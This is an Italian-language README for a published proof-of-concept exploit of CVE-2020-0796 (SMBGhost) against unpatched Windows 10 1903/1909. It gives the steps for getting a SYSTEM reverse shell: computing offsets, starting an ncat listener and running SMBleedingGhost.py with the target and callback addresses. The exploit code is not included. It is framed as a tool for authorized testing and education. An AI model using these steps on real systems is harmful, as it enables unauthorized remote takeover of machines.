
Exploit di esecuzione remota di codice per CVE-2020-0796 (SMBGhost) che prende di mira sistemi Windows 10 1903/1909 senza patch. Consegna una reverse shell tramite una vulnerabilità del protocollo SMB. Destinato a test autorizzati e formazione.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli errori degli attaccanti
POC di Esecuzione di Codice Remoto per CVE-2020-0796 / "SMBGhost"
Risultato previsto: Reverse shell con accesso di sistema.
Inteso solo per scopi educativi e di test in ambienti aziendali.
ZecOps non si assume alcuna responsabilità per il codice, usalo a tuo rischio.
Contatta [email protected] se sei interessato a strumenti DFIR senza agenti per Server, Endpoint e Dispositivi Mobili per rilevare automaticamente SMBGhost e altri tipi di attacchi.
Assicurati che Python e ncat siano installati.
Esegui calc_target_offsets.bat sul computer target e regola gli offset all'inizio del file SMBleedingGhost.py in base all'output dello script (vedi anche la nota sotto).
Esegui ncat con i seguenti argomenti della riga di comando:
ncat -lvp <port>
Dove <port> è il numero di porta su cui ncat ascolterà.
Esegui SMBleedingGhost.py con i seguenti argomenti della riga di comando:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Dove <target_ip> è l'indirizzo IP del computer target vulnerabile. <reverse_shell_ip> e <reverse_shell_port> sono l'indirizzo IP e il numero di porta su cui ncat è in ascolto.
Se tutto va bene, ncat mostrerà una shell che fornisce accesso di sistema al computer target.
Nota: Potresti chiederti perché sia necessario eseguire lo script calc_target_offsets.bat sul computer target, e se ciò non vanifichi l'intero scopo dell'esecuzione di codice remoto. Questi offset non sono casuali e sono gli stessi su tutte le istanze Windows della stessa versione di Windows. Si potrebbe rendere l'attacco più universale rilevando la versione di Windows target e regolando automaticamente gli offset, o non facendo affidamento su di essi, ma è solo un POC e abbiamo fatto ciò che era più semplice. Riteniamo anche che sia positivo che il POC non sia universale e non sia comodo per usi diversi dal test e dall'istruzione.

Le versioni di Windows 10 1903 e 1909 sono interessate. Le versioni non aggiornate di Windows 10 1903 non sono supportate a causa di un bug di dereferenziazione del null in Windows (corretto in KB4512941).
A causa della natura dello sfruttamento, il POC funziona meglio su target in esecuzione su un computer (o una VM) con un singolo processore logico. I target con più di un processore logico in esecuzione su VirtualBox dovrebbero essere supportati, ma il POC è meno affidabile in questo caso. Altri target potrebbero non essere supportati. Per i dettagli, consulta il nostro writeup tecnico di seguito.